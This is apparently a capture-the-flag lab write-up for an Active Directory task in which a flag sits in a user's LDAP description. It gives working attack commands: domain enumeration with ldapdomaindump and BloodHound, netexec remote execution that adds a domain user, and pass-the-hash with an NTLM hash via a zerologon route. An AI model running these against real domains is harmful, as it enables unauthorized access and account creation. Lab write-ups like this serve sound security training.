Description:

Use vm form https://labs.cyber-ed.ru/group/33/course/29/task/9

Then use ldapdomaindump or BloodHound to find out domain user with flag inside comment in LDAP record.

Flag format: `Flag{ALPHANUMERICAL SYMBOLS}`

Attacking

```
ldapdomaindump -u 'sandbox.local\alex' -p 'Secret123!' 10.10.0.133

# and on the folder with all .html:
grep -i flag -R . | grep -v "localPolicy\|systemFlags\|th\|title" | awk '{print $NF}'

# and we get the flag

#Another method is:
bloodhound-python -u alex -p 'Secret123!' -c all -d sandbox.local -dc dc1.sandbox.local -ns 10.10.0.133 --dns-tcp --zip
# unzip and open in bloodhound
```

Credits for this method bellow go to: `Syed Shujjah Abu Bakar`

- Another way is to connect with user Alex or create your own user

```
netexec smb 10.10.0.133 -u invicta -p 'Pass@123!' -x 'net user /add invicta Pass@123! /domain'
```

- and then establish a bind shell and run:

```
netexec smb 10.10.0.133 -u invicta -p 'Pass@123!' -x 'dsquery user -limit 0 | dsget user -samid -desc | findstr /C:"Flag"'

# or with the zerologon
netexec smb 10.10.0.133 -u administrator -H
```

```
':c263e573945cdc50d44f08ad17fd9b52' -x 'dsquery user -limit 0 | dsget user -
samid -desc | findstr /C:"Flag"'
```